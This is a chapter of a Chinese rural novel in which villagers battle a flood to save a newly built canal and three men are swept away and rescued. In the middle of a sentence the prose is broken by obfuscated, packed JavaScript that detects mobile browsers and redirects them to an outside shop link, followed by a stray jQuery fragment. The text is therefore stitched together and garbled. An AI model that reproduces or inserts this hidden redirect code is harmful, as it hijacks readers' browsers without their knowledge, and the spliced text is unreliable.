第24章「暴风雨之夜」
雨是下午开始下的。起初只是在田埂上留下铜钱大的深色斑点，间隔几寸一个。闷雷在天边翻滚着，沿着山脊的走向从西往东碾过去，每一次滚动的间隙都比上一次短。云层压下来了，把整条河堤裹在灰蒙蒙的暗色里，像是谁把一整块旧棉布撑在了天上，压得日光透不过来。顾长风正蹲在渠边填最后一段护坡，他用铁锹拍实了最后一铲土，锹头在水泥面上压了三下，确保没有空隙。然后他直起腰，用手背蹭了一下额头，抬头看了一眼天。雨点落在他后脖颈上，第一滴是凉的，然后是第二粒、第三粒，一粒接一粒地密起来，像谁在天上筛豆子，筛子的孔慢慢变大了，豆子落得越来越密、越来越急。
到傍晚的时候河堤上的水沟已经涨了。水是黄的，裹着上游冲下来的枯枝和碎石，浑浊的水面上漂浮着几片被泡烂了的杨树叶，随着湍流时而浮起时而沉没。顾长风站在渠口，看着水渠里的水位一寸一寸往上爬，每一次水浪拍在渠壁上都会溅起一小片碎沫，那些碎沫落在新水泥的灰面上，留下一道道深色的湿痕。渠是新修的，砌了半个月——石头是他和几个村民从河滩上一块一块捡回来的，每一块都翻过来看过形状，挑那些棱角平整的；水泥是赵晓雷从镇上买来的两袋，用独轮车推了十里路，车辙在土路上留下了两道深印。渠壁还是干的，新水泥的灰色还没有被水泡透，那些石缝之间的勾缝边角还带着抹刀压过之后的平整痕迹，在雨点的拍打下慢慢变湿。
"长风！"李寡妇站在院门口朝他喊，声音被雨声削薄了，只剩一层边沿，"上来！水要漫了！"
顾长风没有动。他蹲下来，左手撑在渠边的石头上，石头被雨浇透了，表面光滑得像被反复触摸过，雨水顺着石面的弧度往下淌，流过他指节的凹陷处，沿着他指腹的纹路汇入掌心。雨水积在他掌心形成的凹窝里，满到边沿的时候溢出来，沿着手腕的弧度滴落。他听见身后有跑步声，是陈远山的脚步声——踩在泥里的闷响，节奏紧促地拍在田埂上，一下比一下更靠近。然后水渠垮了。
那声音不像是突然发生的，更接近于被缓慢地撕开的布料在一瞬间挣脱了最后的限制，然后"轰"的一声，泥水裹着石头从豁口处冲出来，带着水泥碎块和沙砾，沿着渠壁断裂的边缘倾泻而下。顾长风看见那块他亲手砌的石头从渠壁上脱落，翻了一个身，白色的断面朝上亮了一下，然后被泥水吞没了。他站起来，上半身的衣服已经被他自己扯掉了，雨水直接打在他赤裸的脊背上，背部的肌肉在冷水的拍打下收紧了一次。他吼了一声——"我下去！"没有停顿，他直接跃进了豁口。他入水的时候水先漫到腰际，然后他往下压了压身体，水就到了胸口。
水是冰的。入水的一瞬间冷意从脚踝蹿到腰际，又蹿到胸口，他被激得打了一个冷战，牙关不由自主地咬紧了。但他没有停。他把整个人贴在豁口处，用肩膀和后背堵住那道裂缝，石头和泥水撞在他的腿上、肋骨上，小腿外侧被一块尖锐的东西刮了一下——可能是碎石或断掉的树枝——他感觉到了疼痛，但没有低头去看。他的脚在淤泥里往下蹬，左脚踩到了一个稍微坚实的地方，脚跟陷进泥浆大约两寸，稳住了身体。他保持着那个姿势，后背紧贴着渠壁的断裂面，他的脚在泥浆里持续移动以保持抓地力，水流裹挟着泥沙和碎石从他身体两侧绕过，每一次冲击都让他的身体微微偏移。
"顾长风你上来！"陈远山的声音从岸上传下来，被雨声削得很薄很细，只剩一层轮廓。他喊完就跳了下来——衣服没来得及脱，身体落在顾长风旁边半步远的地方，水已经漫到了他的腰际。他伸手去拉顾长风的胳膊，手刚碰到就被水浪推开了。
赵晓雷是第三个。他从田埂上跑过来的时候没有喊，直接在雨中扑入了水中，往前迈了两步，一把抓住了顾长风的后腰——他的手指在顾长风腰侧的皮肤上扣紧了，指节处的皮肤因为用力而绷紧发白。三个人在水里撞在一起，像三块被水流冲到同一点的石头。顾长风还用后背抵着豁口，陈远山的手第二次伸过来拉他，又被甩开了，赵晓雷的手滑到了他的肩上，扣住了。
然后水浪打过来了。不是一波，是一整面，比人还要高的黄色水墙裹着碎石和树枝拍了下来，把三个人的身体同时裹住，往低处卷去。顾长风听见陈远山喊了一声他的名字——那一声他只听到了开头，后面的尾音被水吞没了。赵晓雷的手从他的肩上滑脱了，他感觉到那只手从他的肩头离开的时候指尖在他的皮肤上划过，带着最后的、短暂的抓握感。他自己的躯体在水里翻滚了至少两圈，泥沙糊住了他的眼睛，他伸手去抓——什么都没有，只有水，不间断地流动着的、冰冷的水。
他不知道自己被冲了多远。也许是五十米，也许是更远。中间他的膝盖撞到了什么坚硬的东西——可能是石头，也可能是一段沉在水中的树根，左腿膝盖窝处传来一阵深沉的钝痛，那痛感持续了几秒才扩散开。然后他的身体继续往下滚，在翻滚的间隙里他感觉到一只手抓住了他的手腕，那手上有老茧，虎口处最厚，是陈远山的手。然后另一只手抓住了他的胳膊肘，手指短而粗，指节上有常年握工具留下的硬皮，是赵晓雷的手。三个人在水里又一次撞在了一起，这一次被什么东西挡住了——一棵倒在水里的杨树，树干横在水面上，枝条缠着水草和上游冲下来的杂物，形成了一道天然的屏障。
村民的绳子扔下来的时候顾长风已经没什么知觉了。他感觉到有人把他从树干上解开——绳子绕过他的腰和腋下，打了两个结——然后用力往上拉。水从他的嘴里呛出来的时候他咳了两声，喉咙像被砂纸刮过，又腥又干。他看见绳子上端那些人的脸：李寡妇、隔壁的老刘、许曼妮——她们的轮廓在雨水里都是模糊的，嘴唇在动，像是在喊什么，但声音传下来的时候只剩下一层薄薄的嗡嗡声。
他被拉上岸，仰面躺在泥地上。雨还在下，打在他的脸上，他睁着眼看天，天是灰的，雨线密得像从一张巨大的灰布上不断抽出的细丝，每一根都在他视野里短暂地存在、
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17980238|214810||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
断裂、消失。陈远山坐在他旁边，右臂的衣服撕开了一道长口子，从肩膀一直裂到肘弯，露出来的小臂上有一道从手腕延伸到肘弯的划伤，伤口边缘被水泡得发白，中间翻着浅色的肉。血被雨水冲得很淡，顺着小臂的弧度流下来，滴在泥地上。赵晓雷蹲在另一边，他的一只手里攥着什么东西，低头看了看，又张开嘴用舌头舔了一下门牙的位置——那里空了半颗，断面是白的。他愣了两秒，然后把那半颗牙攥紧在掌心里。
顾长风的眼睛动了一下。他的嘴唇是紫的，泛着青。他张嘴的时候牙齿在打架，磕磕碰碰的，像拿不稳的碗碟在抖动中互相撞击。"渠……"他发出一个单音，声音沙哑而断续。"渠你个头！"周慧婷挤过来蹲在他面前，她浑身湿透了，头发贴在额头上，水珠从发尾滴落下来。她抬起右手，一巴掌扇在顾长风的左脸上——力度不重，但声音脆，落在雨水里像敲了一下空的铁皮罐，发出一声短促而清晰的回响。"你命差点没了！"顾长风的头被那一巴掌打得偏了一下，然后他又自己摆正了。他脸上的泥被拍散了一些，露出下面嘴角的弧度。他在笑。嘴唇还是紫的，但嘴角翘着。"渠在就行。"周慧婷看了他几秒，嘴抿着，又松开，转身走了，湿透的袖子贴在小臂上，随着她的步伐一下一下地甩动。
那天夜里雨小了。后半夜雨停了，月亮从云缝里露了一小片边，薄薄的，像一枚被水洗了无数次的旧银元。陈远山蹲在渠边，他右臂的伤口已经被处理过了——韩一博的药箱里找出了干净的纱布，缠了五圈，打了一个结，结头留了一截短尾。他用没受伤的左手摸了摸渠壁的断面，石头被冲散了，水泥碎块落在渠底，堆成一小堆灰色的渣，边缘还沾着湿泥。水退了，但渠还在，还剩下一半，另一半塌了。他站起来的时候膝盖响了一声，他在那里站了一会儿，等酸劲过去，然后转身走向了院子。堂屋里的灯亮着，煤油灯的火苗被风晃得不停地偏斜，光和影在墙上交替着。顾长风躺在床上，被子盖到胸口，胳膊搭在外面。他看见陈远山走进来，头微微抬了一下。"远山——""明天，"陈远山站在门口说，"我跟你一起修。"顾长风动了动，想坐起来，"你胳膊——"陈远山没有回头，他走到门外的时候停了一步，背对着屋里说："胳膊断了有两条。渠塌了就只能靠命了。"门被风带了一下，虚掩着。一道月光从门缝里漏进来，横在床上。
院子里，陈远山在井台边坐下。他用左手舀了一瓢水，浇在右臂的纱布上，水渗进去，纱布的颜色变深了一截。他看了一眼院子南头那个方向的天空——黑糊糊的，没有星星。但在渠的方向，有一小块地方被月光照亮了，那道光落在一个尚未完全坍塌的渠段上，照亮了旧渠壁和新石料之间的交界处，那一段被雨水反复冲刷的断面边缘还保持着近似完整的轮廓，像是这片土地上为数不多还没有被收回的东西。他在那里坐了很久，久到那瓢水从他右臂的纱布上渗尽，久到月光在渠壁上的位置缓慢地移动了几寸，也久到他自己不再去数那段时间究竟有多长。